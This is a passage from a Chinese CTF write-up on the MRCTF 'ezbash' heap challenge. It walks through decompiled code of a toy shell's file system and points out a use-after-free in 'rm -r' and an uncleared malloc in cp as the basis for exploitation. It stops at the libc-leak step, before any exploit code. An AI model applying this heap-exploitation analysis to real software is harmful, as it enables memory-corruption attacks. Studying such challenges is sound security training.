# MRCTF pwn ezbash

拿到题目的时候,直接运行起来发现是一个文件系统,怀疑是不是一个 kernel 的题目,但是并没有给出内核文件,所以认定了就是一道堆题。这也是我坚持做下去的原因。

# 题目链接

https://github.com/dreamkecat/dreamkecat.github.io/tree/main/challenge/MRctf_ezbash

# 环境

1
2
3
4
5
6
7
dreamcat@ubuntu:~/Desktop/mrctf/ezbash$ strings libc.so.6 |grep ubuntu
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
dreamcat@ubuntu:~/Desktop/mrctf/ezbash$ checksec --file=ezbash
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 7 ezbash
dreamcat@ubuntu:~/Desktop/mrctf/ezbash$

2.31 的题目,保护全开,八成就是堆题;

程序模拟了一个简单的文件系统,提供了 11 种命令,对于我们命令行的输出,程序会进行切片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dreamcat@ubuntu:~/Desktop/mrctf/ezbash$ ./ezbash
hacker:/$ help
Welcome to ezbash
Just have fun here!
The following are built in:
cd
ls
echo
cat
touch
rm
mkdir
cp
pwd
help
exit
hacker:/$

解决题目的第一个难点就是对于代码的审计,因为命令太多,相较于传统的菜单堆题,这道题提供的命令太多,导致分析题目需要很多时间。

# 解题过程

# 题目的整体把握

题目的所有文件的操作都是基于堆块,以及链表的数据结构

重要的结构体

1
2
3
4
5
6
7
8
9
10
00000000 file            struc ; (sizeof=0x40, mappedto_9)
00000000 flag dd ?
00000004 name db 16 dup(?) ; string(C)
00000014 field_14 dd ?
00000018 context dq ? ; offset
00000020 prev_bro dq ? ; offset
00000028 next_bro dq ? ; offset
00000030 futher dq ? ; offset
00000038 firstson dq ? ; offset
00000040 file ends

整个体系中,其实概括 i 起来就是对于目录以及文件的操作,而这些对象都是基于 file 的结构体。flag 标志,对应的是目录(文件夹)或者文件,flag=0,表示的是文件夹,flag=1 表示的文件。文件夹中的所有子文件以及子文件夹都会通过一个双链表联系起来。file 的 firstson 会储存子文件链表的头指针。头节点的 prev_bro 和尾节点的 neat_bro 为 0,name16 字节的数组是 file 的名字,文件夹还会记录自己的父文件夹是的指针。文件则不会,但是文件会有一个特殊的 context 指针,指向另外一个堆块,用于储存写入文件的内容。

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
_BYTE *readn()
{
int v1; // [rsp+Ch] [rbp-14h]
int v2; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
_BYTE *ptr; // [rsp+18h] [rbp-8h]

v1 = 0x150;
v2 = 0;
ptr = malloc(0x150uLL);
if ( !ptr )
{
fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr);
exit(1);
}
while ( 1 )
{
v3 = getchar();
if ( v3 == -1 || v3 == '\n' )
break;
ptr[v2++] = v3;
if ( v2 >= v1 )
{
v1 += 0x150;
ptr = realloc(ptr, v1);
if ( !ptr )
{
fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr);
exit(1);
}
}
}
ptr[v2] = 0;
return ptr;
}

对于我们输入的命令默认是存放在一个 0x161 的堆块,但是当我们输入的长度过长时,会调整堆块的大小,所以这里是不存在在溢出的,虽然结尾没有补零,但是每次都会被 v1=0x150 限制,没有溢出的利用。

对于每条命令,他的解析不是直接的匹配,而是会对数据进行切片的处理,如下,调用 strtok 库函数,会返回 delim 的前地址(代码中可能是由于 idapro 分析错误, i = strtok (0LL, "\t\r\n\a"),实际上会完全分析我们输入的命令,应该是 i = strtok (i, "\t\r\n\a"))这里会将我们的命令分解成操作命令,对象,对吧对应字符串的地址保存在另一个堆块里面。strtok 遇到空字符结束。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
_QWORD *__fastcall process(char *a1)
{
int v2; // [rsp+18h] [rbp-18h]
int v3; // [rsp+1Ch] [rbp-14h]
_QWORD *ptr; // [rsp+20h] [rbp-10h]
char *i; // [rsp+28h] [rbp-8h]

v2 = 64;
v3 = 0;
ptr = malloc(0x200uLL);
if ( !ptr )
{
fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr);
exit(1);
}
for ( i = strtok(a1, " \t\r\n\a"); i; i = strtok(0LL, " \t\r\n\a") )// split
{
ptr[v3++] = i;
if ( v3 >= v2 )
{
v2 += 0x40;
ptr = realloc(ptr, 8LL * v2);
if ( !ptr )
{
fwrite("ezbash: allocation error\n", 1uLL, 0x19uLL, stderr);
exit(1);
}
}
}
ptr[v3] = 0LL;
return ptr;
}

后面指令的实现都是通过保留的字符串指针分析比较的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall check(const char **cmd)
{
int i; // [rsp+1Ch] [rbp-4h]

if ( !*cmd )
return 1LL;
for ( i = 0; i < L11(); ++i ) // i<11
{
if ( !strcmp(*cmd, *(&list + i)) )
return (funcs[i])(cmd);
}
printf("%s: command not found\n", *cmd);
return 0xFFFFFFFFLL;
}

list 保存各个命令的名称进行比较,cmd 是处理后的保留字符串地址的 chunk。fucns 保存各个命令的函数的地址。

程序会使用 2 个全局变量记录我们的当前位置,一个是我们所在的文件夹的指针,一个是字符串记录的是从 home 到当前位置的路径的名字。

1
2
3
4
.bss:0000000000006140 cur_position_addr db 50h dup(?)         ; DATA XREF: apwd+10↑o
.bss:0000000000006140 ; acd+10F↑o ...
.bss:0000000000006190 ; file *cuurr_pos
.bss:0000000000006190 cuurr_pos dq ? ; DATA XREF: unlink:loc_15F0↑r

其实真正利用的命令没有多少,ls,pwd,help,exit,cd,cat,touch, 都没有漏洞的利用。

# ls

列出当前文件夹下的内容,或者以及子文件夹的内容,成灰只可以识别到以及子文件夹,对于 A/B, 成为程序人为这是一个 file 的名称,而不是一条路径。但是./A 是有效的,程序会识别./ 为当前目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
__int64 __fastcall als(const char **cmd, __int64 a2)
{
int v2; // eax
unsigned __int64 v3; // rax
void *v4; // rsp
int v6; // eax
__int64 v7; // rbx
size_t v8; // rax
int v9; // eax
__int64 v10[3]; // [rsp+8h] [rbp-A0h] BYREF
const char **comment; // [rsp+20h] [rbp-88h]
char v12; // [rsp+37h] [rbp-71h]
int v13; // [rsp+38h] [rbp-70h]
int v14; // [rsp+3Ch] [rbp-6Ch]
int nums; // [rsp+40h] [rbp-68h]
int v16; // [rsp+44h] [rbp-64h]
file *v17; // [rsp+48h] [rbp-60h] BYREF
char *s1; // [rsp+50h] [rbp-58h]
file *v19; // [rsp+58h] [rbp-50h]
__int64 v20; // [rsp+60h] [rbp-48h]
__int64 v21; // [rsp+68h] [rbp-40h]
char *dest; // [rsp+70h] [rbp-38h]
char delim[2]; // [rsp+7Eh] [rbp-2Ah] BYREF
unsigned __int64 v24; // [rsp+80h] [rbp-28h]

comment = cmd;
v24 = __readfsqword(0x28u);
v17 = cuurr_pos->firstson;
v19 = cuurr_pos;
v20 = 0LL;
v12 = 0;
nums = 0;
strcpy(delim, "/");
while ( comment[++nums] ) // 只有ls 就会跳过
{
if ( strlen(comment[nums]) <= v14 )
v2 = v14;
else
v2 = strlen(comment[nums]) + 1;
v14 = v2;
}
v21 = v14 - 1LL;
v10[0] = v14;
v10[1] = 0LL;
v3 = 16 * ((v14 + 15LL) / 0x10uLL);
while ( v10 != (v10 - (v3 & 0xFFFFFFFFFFFFF000LL)) )
;
v4 = alloca(v3 & 0xFFF);
if ( (v3 & 0xFFF) != 0 )
*(&v10[-1] + (v3 & 0xFFF)) = *(&v10[-1] + (v3 & 0xFFF));
dest = v10;
v16 = nums - 1;
if ( nums == 1 )
{
info_ls();
return 1LL;
}
nums = 1;
LABEL_44:
if ( nums <= v16 )
{
v14 = strlen(comment[nums]);
v13 = 0;
strcpy(dest, comment[nums]);
for ( s1 = strtok(dest, delim); ; s1 = strtok(0LL, delim) )
{
if ( !s1 )
{
LABEL_43:
cuurr_pos = v19;
++nums;
goto LABEL_44;
}
v17 = cuurr_pos->firstson;
if ( !strcmp(s1, ".") )
goto LABEL_16;
if ( !strcmp(s1, off_4077) )
break;
v12 = findfile(&v17, s1);
if ( v12 != 1 )
{
fprintf(stderr, "ezbash: cannot access '%s': No such file or directory\n", s1);
goto LABEL_43;
}
if ( checkfile(v17) )
{
v7 = v14;
v8 = strlen(s1);
if ( !strcmp(&dest[v7 - v8], s1) )
puts(v17->name);
else
fprintf(stderr, "ezbash: cannot access '%s': Not a directory\n", comment[nums]);
if ( v16 > 1 && nums < v16 )
putchar(10);
goto LABEL_43;
}
if ( checkfolder(v17) )
{
cuurr_pos = v17;
v9 = strlen(s1);
v13 += v9 + 1;
}
LABEL_32:
if ( !comment[nums][v13 - 1] || comment[nums][v13 - 1] == 47 && !comment[nums][v13] )
{
if ( v16 > 1 )
printf("%s:\n", comment[nums]);
info_ls();
}
if ( v16 > 1 && nums < v16 )
putchar(10);
}
if ( cuurr_pos->futher )
cuurr_pos = cuurr_pos->futher;
LABEL_16:
v6 = strlen(s1);
v13 += v6 + 1;
goto LABEL_32;
}
return 1LL;
}


讲真 ls 代码很长,但是没啥用,特别是那个 alloca,就是浪费时间。

# cd

cd 也是一个简单的跳到跳到某个目录下,实际就是更改下那两个变量,以及链表的遍历。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
__int64 __fastcall acd(char **cmd)
{
char v1; // al
size_t v3; // rbx
int len_name; // [rsp+18h] [rbp-38h]
const char *s1; // [rsp+20h] [rbp-30h]
file *pos; // [rsp+28h] [rbp-28h]
char delim[2]; // [rsp+36h] [rbp-1Ah] BYREF
unsigned __int64 v8; // [rsp+38h] [rbp-18h]

v8 = __readfsqword(0x28u);
if ( cmd[1] )
{
if ( cmd[2] )
{
fwrite("ezbash: too many arguments\n", 1uLL, 0x1BuLL, stderr);
}
else
{
strcpy(delim, "/");
for ( s1 = strtok(cmd[1], delim); s1; s1 = strtok(0LL, delim) )
{
if ( strcmp(s1, ".") ) // 当前目录下或者父目录
{
if ( !strcmp(s1, off_4077) ) // ../
{
if ( cuurr_pos->futher )
{
len_name = strlen(cuurr_pos->name);
cur_position_addr[(strlen(cur_position_addr) - 1 - len_name)] = 0;
cuurr_pos = cuurr_pos->futher;
}
}
else
{
pos = cuurr_pos->firstson; // ./
((&check_error + 1))();
if ( v1 )
{
fprintf(stderr, "ezbash: %s: No such file or directory\n", s1);
return 1LL;
}
while ( pos && strcmp(pos->name, s1) )// 参数的第一的目标位置文件夹
pos = pos->next_bro;
if ( !checkfolder(pos) ) // 检查是否为目录
{
fwrite("something wrong happened\n", 1uLL, 0x19uLL, stderr);
return 1LL;
}
cuurr_pos = pos;
v3 = strlen(cur_position_addr);
if ( v3 + strlen(pos->name) <= 0x50 )
{
strcat(cur_position_addr, pos->name);
*&cur_position_addr[strlen(cur_position_addr)] = '/';
}
}
}
}
}
}
else
{
fwrite("ezbash: expected argument\n", 1uLL, 0x1AuLL, stderr);
}
return 1LL;
}

# cat

cat 会输出文件中的数据,采用的是 puts,只会输出字符串。为实现 cat 重定向到文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
__int64 __fastcall acat(char **cmd)
{
unsigned __int64 v1; // rax
void *v2; // rsp
_BYTE v4[8]; // [rsp+8h] [rbp-70h] BYREF
char **comment; // [rsp+10h] [rbp-68h]
char v6; // [rsp+1Fh] [rbp-59h]
int v7; // [rsp+20h] [rbp-58h]
int num; // [rsp+24h] [rbp-54h]
file *v9; // [rsp+28h] [rbp-50h]
__int64 v10; // [rsp+30h] [rbp-48h]
char *dest; // [rsp+38h] [rbp-40h]
unsigned __int64 v12; // [rsp+40h] [rbp-38h]

comment = cmd;
v12 = __readfsqword(0x28u);
num = 0; // 参数的数目
v6 = 0;
v7 = 0; // v7 最大参数的长度
v9 = 0LL;
while ( comment[++num] )
{
if ( strlen(comment[num]) > v7 )
v7 = strlen(comment[num]) + 1;
}
v10 = v7 - 1LL;
v1 = 16 * ((v7 + 15LL) / 0x10uLL);
while ( v4 != &v4[-(v1 & 0xFFFFFFFFFFFFF000LL)] )
;
v2 = alloca(v1 & 0xFFF);
if ( (v1 & 0xFFF) != 0 )
*&v4[(v1 & 0xFFF) - 8] = *&v4[(v1 & 0xFFF) - 8];
dest = v4;
num = 1;
if ( !comment[1] )
fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr);
while ( comment[num] )
{
v9 = cuurr_pos->firstson;
strcpy(dest, comment[num]);
while ( v9 )
{
if ( !strcmp(dest, v9->name) )
{
if ( v9->context )
puts(v9->context);
v6 = 1;
break;
}
v9 = v9->next_bro;
}
if ( v6 != 1 )
fprintf(stderr, "ezbash: %s: No such file or directory\n", comment[num]);
++num;
}
return 1LL;
}

# pwd

仅仅只是输出当前的路径

1
2
3
4
5
__int64 apwd()
{
puts(cur_position_addr);
return 1LL;
}

# exit,help

没什么可以说的。

# mkdir

在当前的目录下创建一个字目录,并把她 link 进 firstson 的链表,采用的是头插法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
__int64 __fastcall amkdir(char **cmd)
{
char v1; // al
char v3[2]; // [rsp+1Ah] [rbp-16h] BYREF
int v4; // [rsp+1Ch] [rbp-14h]
file *first_son; // [rsp+20h] [rbp-10h]
file *newfile; // [rsp+28h] [rbp-8h]

v4 = 1;
qmemcpy(v3, "./", sizeof(v3));
if ( !cmd[1] )
fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr);
while ( cmd[v4] )
{
first_son = cuurr_pos->firstson;
if ( strchr(cmd[v4], v3[0]) )
{
++v4;
}
else if ( strchr(cmd[v4], v3[1]) )
{
++v4;
}
else
{
((&check_error + 1))();
if ( v1 != 1 )
{
fprintf(stderr, aEzbashCannotCr, cmd[v4++]);
}
else
{
newfile = calloc40();
newfile->flag = 0;
newfile->futher = cuurr_pos;
copy_name(newfile, cmd[v4]);
if ( cuurr_pos->firstson )
link(first_son, newfile);
else
cuurr_pos->firstson = newfile;
++v4;
}
}
}
return 1LL;
}

# touch

创建一个空文件,与 mkdir 的操作类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 __fastcall atouch(char **cmd)
{
char v1; // al
char v3[2]; // [rsp+1Ah] [rbp-16h] BYREF
int v4; // [rsp+1Ch] [rbp-14h]
file *v5; // [rsp+20h] [rbp-10h]
file *v6; // [rsp+28h] [rbp-8h]

v4 = 1;
qmemcpy(v3, "./", sizeof(v3));
if ( !cmd[1] )
fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr);
while ( cmd[v4] )
{
if ( strchr(cmd[v4], v3[0]) )
{
++v4;
}
else if ( strchr(cmd[v4], v3[1]) )
{
++v4;
}
else
{
v5 = cuurr_pos->firstson;
((&check_error + 1))();
if ( v1 != 1 )
{
++v4;
}
else
{
v6 = calloc40();
v6->flag = 1;
copy_name(v6, cmd[v4]);
if ( cuurr_pos->firstson )
link(v5, v6);
else
cuurr_pos->firstson = v6;
++v4;
}
}
}
return 1LL;
}

mkdir 与 touch 创建新的 file 的时候,调用 calloc40,这个其实就是模拟了 calloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
file *malloc40()
{
file *v1; // [rsp+8h] [rbp-8h]

v1 = malloc(0x40uLL);
memset(v1->name, 0, sizeof(v1->name));
v1->context = 0LL;
v1->firstson = 0LL;
v1->next_bro = 0LL;
v1->prev_bro = 0LL;
v1->futher = 0LL;
return v1;
}

file *__fastcall link(file *curr, file *aim)
{
file *result; // rax

while ( curr->next_bro )
curr = curr->next_bro;
curr->next_bro = aim;
result = aim;
aim->prev_bro = curr;
return result;
}

这也导致了,后面泄露地址有点困难。两个命令支持在当前目录下一次创建多个对象

# rm

rm 可以进行两种操作,直接删除文件,或者 - r 参数删除文件夹,但是都只是当前目录下的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
__int64 __fastcall arm(char **cmd)
{
char v2; // [rsp+1Bh] [rbp-15h]
int v3; // [rsp+1Ch] [rbp-14h]
file *file; // [rsp+20h] [rbp-10h]
file *ptr; // [rsp+28h] [rbp-8h]

v3 = 1;
if ( !cmd[1] )
fwrite("ezbash: missing operand\n", 1uLL, 0x18uLL, stderr);
while ( cmd[v3] )
{
file = cuurr_pos->firstson;
v2 = 0;
if ( !strcmp(cmd[v3], "-r") ) // -r
{
if ( cmd[++v3] )
{
while ( file )
{
if ( !strcmp(file->name, cmd[v3]) )
{
v2 = 1;
if ( !checkfolder(file) )
{
fprintf(stderr, "ezbash -r: cannot remove '%s': Is a file\n", cmd[v3]);
goto LABEL_26;
}
memset(file->name, 0, sizeof(file->name));
file->futher = 0LL;
if ( file->firstson )
{
ptr = file->firstson;
do
{
if ( ptr->context )
free(ptr->context);
free(ptr); // uaf
//
ptr = ptr->next_bro;
}
while ( ptr );
}
goto LABEL_14;
}
file = file->next_bro;
}
goto LABEL_26;
}
++v3;
} // 删除单文件
//
//
else
{
while ( file )
{
if ( !strcmp(file->name, cmd[v3]) )
{
v2 = 1;
if ( checkfile(file) )
{
memset(file->name, 0, sizeof(file->name));
if ( file->context )
{
free(file->context);
file->context = 0LL; // 没有uaf
}
LABEL_14:
unlink(file);
}
else
{
fprintf(stderr, "ezbash: '%s': Is a directory\n", cmd[v3]);
}
break;
}
file = file->next_bro;
}
LABEL_26:
if ( v2 != 1 )
fprintf(stderr, "ezbash: '%s': No such file or directory\n", cmd[v3]);
++v3;
}
}

void __fastcall unlink(file *a1)
{
if ( a1->next_bro )
a1->next_bro->prev_bro = a1->prev_bro;
if ( a1->prev_bro )
a1->prev_bro->next_bro = a1->next_bro;
else
cuurr_pos->firstson = a1->next_bro;
a1->next_bro = 0LL;
a1->prev_bro = 0LL;
free(a1);
}

只可以堆当前目录的对象进行操作。当删除的目录下有子目录 x,不会破坏 x 的子文件链表结构,这里看似存在 uaf 名单时册灰姑娘徐每次创建 file 都会清空,所以无法利用。checkfile 以及 checkfolder 分别检查对象是文件还是文件夹。-r 不可删除文件。unlink 的操作也没有什么问题,

# echo

echo 支持两种操作,一个是将内容直接输出,一个是根据倒数第二个参数是否为 “->” 决定,不是,就直接输出,否则,就会将数据写进指定的 file。强调,一定是倒数第二参数。其他一律认为是内容,字符串不存在空格,是写进 context 的时候额外加入的。另外,echo 不可以将空字符写入。而且也不会在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
__int64 __fastcall aecho(char **cmd)
{
__int64 result; // rax
size_t size; // rax
file *v3; // rbx
file *v4; // rbx
size_t v5; // rax
int v6; // [rsp+14h] [rbp-3Ch]
int i; // [rsp+14h] [rbp-3Ch]
int j; // [rsp+14h] [rbp-3Ch]
int chunksize; // [rsp+18h] [rbp-38h]
int textlen; // [rsp+1Ch] [rbp-34h]
int argv_nums; // [rsp+20h] [rbp-30h]
file *file; // [rsp+28h] [rbp-28h] BYREF
const char *filename; // [rsp+30h] [rbp-20h]
unsigned __int64 v14; // [rsp+38h] [rbp-18h]

v14 = __readfsqword(0x28u);
v6 = 0;
if ( cmd[1] )
{
do
++v6;
while ( cmd[v6] );
argv_nums = v6 - 1;
if ( tofile(cmd[v6 - 2]) )
{
for ( i = 1; i < argv_nums; ++i )
printf("%s ", cmd[i]);
puts(cmd[argv_nums]);
result = 1LL;
}
else
{ // 写入文件
file = cuurr_pos->firstson;
filename = cmd[argv_nums];
if ( findfile(&file, filename) != 1 )
{
fprintf(stderr, "ezbash: %s: No such file\n", filename);
result = 1LL;
}
else if ( checkfile(file) ) // 检查是否为文件
{
textlen = 0;
if ( file->context ) // 已经写过了
{
size = get_chunk_size(file->context);
memset(file->context, 0, size); // 清空
}
for ( j = 1; j < argv_nums - 1; ++j )
{
if ( file->context )
{
chunksize = get_chunk_size(file->context);
}
else // 空的,申请
{
chunksize = 0x150;
v3 = file;
v3->context = malloc(0x150uLL);
memset(file->context, 0, 0x150uLL);
}
textlen += strlen(cmd[j]) + 2;
while ( textlen >= chunksize )
chunksize += 0x150;
if ( chunksize > get_chunk_size(file->context) )
{
v4 = file;
v4->context = realloc(file->context, chunksize);
}
v5 = strlen(cmd[j]);
strncat(file->context, cmd[j], v5);
if ( j < argv_nums - 2 )
*(file->context + strlen(file->context)) = ' ';
}
result = 1LL;
}
else
{
fprintf(stderr, "ezbash: %s: Is a directory\n", filename);
result = 1LL;
}
}
}
else
{
putchar(10);
result = 1LL;
}
return result;
}
/* Orphan comments:
stdout
*/

每次 echo,都会清空 context 的内容,而且是跟据 chunksize 清空的。并且如果写的数据大于等于 chunksize-2 就会把 context 调大。而且注意。

# cp

整个程序攻击的开始就是在 cp,cp 可以拷贝当前目录下的文件,一个是把他的内容拷贝到当前目录下的另一个文件里,起一个是拷贝到子文件夹下的文件里,如果指定的文件不存在,会自动创建。但是佟阿姨那个调用的是 calloc40,所以没有 uaf。问题在于对 context 的复制,目标文件没有 context 指针,会申请一个,重点来了,这里用的是 malloc,而且不会清空。如果我们要拷贝的文件没有 context,会把对应的目标文件的 context free。或者直接创建一个新的空文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
__int64 __fastcall acp(char **cmd)
{
unsigned __int64 v1; // rax
void *v2; // rsp
__int64 v4; // rbx
size_t v5; // rax
__int64 v6[3]; // [rsp+8h] [rbp-B0h] BYREF
char **comment; // [rsp+20h] [rbp-98h]
char v8; // [rsp+29h] [rbp-8Fh]
char v9; // [rsp+2Ah] [rbp-8Eh]
char v10; // [rsp+2Bh] [rbp-8Dh]
int i; // [rsp+2Ch] [rbp-8Ch]
int nums; // [rsp+30h] [rbp-88h]
int v13; // [rsp+34h] [rbp-84h]
file *list; // [rsp+38h] [rbp-80h] BYREF
file *destination; // [rsp+40h] [rbp-78h] BYREF
file *copied_file; // [rsp+48h] [rbp-70h] BYREF
char *s1; // [rsp+50h] [rbp-68h]
file *curops; // [rsp+58h] [rbp-60h]
file *ptr; // [rsp+60h] [rbp-58h]
__int64 v20; // [rsp+68h] [rbp-50h]
char *dest; // [rsp+70h] [rbp-48h]
file *curr; // [rsp+78h] [rbp-40h]
file *temp; // [rsp+80h] [rbp-38h]
char delim[2]; // [rsp+8Eh] [rbp-2Ah] BYREF
unsigned __int64 v25; // [rsp+90h] [rbp-28h]

comment = cmd;
v25 = __readfsqword(0x28u);
i = 0;
list = cuurr_pos->firstson;
curops = cuurr_pos;
destination = cuurr_pos->firstson;
copied_file = 0LL;
ptr = 0LL;
v8 = 0;
v9 = 0;
strcpy(delim, "/");
do
++i;
while ( comment[i] );
nums = i - 1;
v13 = strlen(comment[i - 1]);
v20 = v13 + 1 - 1LL;
v6[0] = v13 + 1;
v6[1] = 0LL;
v1 = 16 * ((v6[0] + 15) / 0x10uLL);
while ( v6 != (v6 - (v1 & 0xFFFFFFFFFFFFF000LL)) )
;
v2 = alloca(v1 & 0xFFF);
if ( (v1 & 0xFFF) != 0 )
*(&v6[-1] + (v1 & 0xFFF)) = *(&v6[-1] + (v1 & 0xFFF));
dest = v6;
if ( nums == 1 )
{
fprintf(stderr, "ezbash: missing destination file operand after '%s'\n", comment[1]);
return 1LL;
}
strcpy(dest, comment[nums]);
for ( s1 = strtok(dest, delim); ; s1 = strtok(0LL, delim) )
{
if ( !s1 )
{
for ( i = 1; i < nums; ++i )
{
copied_file = curops->firstson;
v9 = findfile(&copied_file, comment[i]);
if ( v9 != 1 || !checkfile(copied_file) )// 未找到 ,或者不是个文件
{
fprintf(stderr, "ezbash: cannot stat '%s': No such file or directory\n", comment[i]);
}
else
{ // 索引最后一个file
destination = cuurr_pos->firstson;
v8 = findfile(&destination, comment[i]);
if ( v8 )
{
copy(copied_file, destination); // 文件复制到其他位置
cuurr_pos = curops;
}
else
{
curr = cuurr_pos->firstson;
temp = calloc40();
temp->flag = 1;
copy_name(temp, copied_file->name);
if ( copied_file->context )
copycontext(copied_file, temp);
else
temp->context = 0LL;
if ( curr )
link(curr, temp);
else
cuurr_pos->firstson = temp;
}
}
}
cuurr_pos = curops;
return 1LL;
}
v10 = 0;
if ( strcmp(s1, ".") )
break;
LABEL_32:
;
}
if ( !strcmp(s1, off_4077) )
{
cuurr_pos = cuurr_pos->futher;
goto LABEL_32;
}
list = cuurr_pos->firstson;
v10 = findfile(&list, s1);
if ( nums > 2 )
{
if ( v10 != 1 || !checkfolder(list) )
{
fprintf(stderr, "ezbash: target '%s' is not a directory\n", comment[nums]);
cuurr_pos = curops;
return 1LL;
}
cuurr_pos = list;
goto LABEL_32;
}
if ( nums != 2 )
goto LABEL_32;
v4 = v13;
v5 = strlen(s1);
if ( strcmp(&dest[v4 - v5], s1) )
goto LABEL_32;
copied_file = curops->firstson;
destination = curops->firstson;
v9 = findfile(&copied_file, comment[1]);
if ( v9 != 1 )
{
fprintf(stderr, "ezbash: cannot stat '%s': No such file or directory\n", comment[1]);
cuurr_pos = curops;
return 1LL;
}
if ( !checkfile(copied_file) )
{
fprintf(stderr, "ezbash: -r not specified; omitting directory '%s'\n", comment[1]);
cuurr_pos = curops;
return 1LL;
}
v8 = findfile(&destination, s1);
if ( v8 == 1 )
{
if ( checkfolder(destination) )
{
cuurr_pos = destination;
}
else if ( checkfile(destination) )
{
copy(copied_file, destination);
cuurr_pos = curops;
return 1LL;
}
goto LABEL_32;
}
ptr = calloc40();
ptr->flag = 1;
copy_name(ptr, comment[2]);
if ( copied_file->context )
copycontext(copied_file, ptr);
link(cuurr_pos->firstson, ptr);
cuurr_pos = curops;
return 1LL;
}

char *__fastcall copy(file *src, file *des)
{
char *result; // rax
file *dest; // [rsp+0h] [rbp-20h]
int v4; // [rsp+18h] [rbp-8h]
int v5; // [rsp+1Ch] [rbp-4h]

dest = des;
result = src;
if ( src != des && (src->context || (result = des->context) != 0LL) )
{
if ( src->context || !des->context )
{
if ( src->context && des->context ) // 文件复制到文件
{
v4 = strlen(src->context);
v5 = strlen(des->context);
if ( v4 > v5 )
{
dest = realloc(des->context, v4 + 1);
memset(dest->context, 0, v4 + 1);
}
else
{
memset(des->context, 0, v5);
}
result = strncpy(dest->context, src->context, v4);
}
else // 没有context
{
result = src->context;
if ( result )
{
result = des->context;
if ( !result )
result = copycontext(src, des);
}
}
}
else
{
free(des->context);
result = des;
des->context = 0LL;
}
}
return result;
}

char *__fastcall copycontext(file *src, file *dest)
{
int v3; // [rsp+1Ch] [rbp-4h]

v3 = strlen(src->context);
dest->context = malloc(v3);
memset(dest->context, 0, v3);
return strncpy(dest->context, src->context, v3);
}

这里 echo 是的我们的 context 大小是固定的,但是这里我们可以 malloc 指定的大小,大小根据我们拷问的文件内容的长度计算。另外一点,cp 不会向目标额外写入空字符。

# 泄露 libc 地址

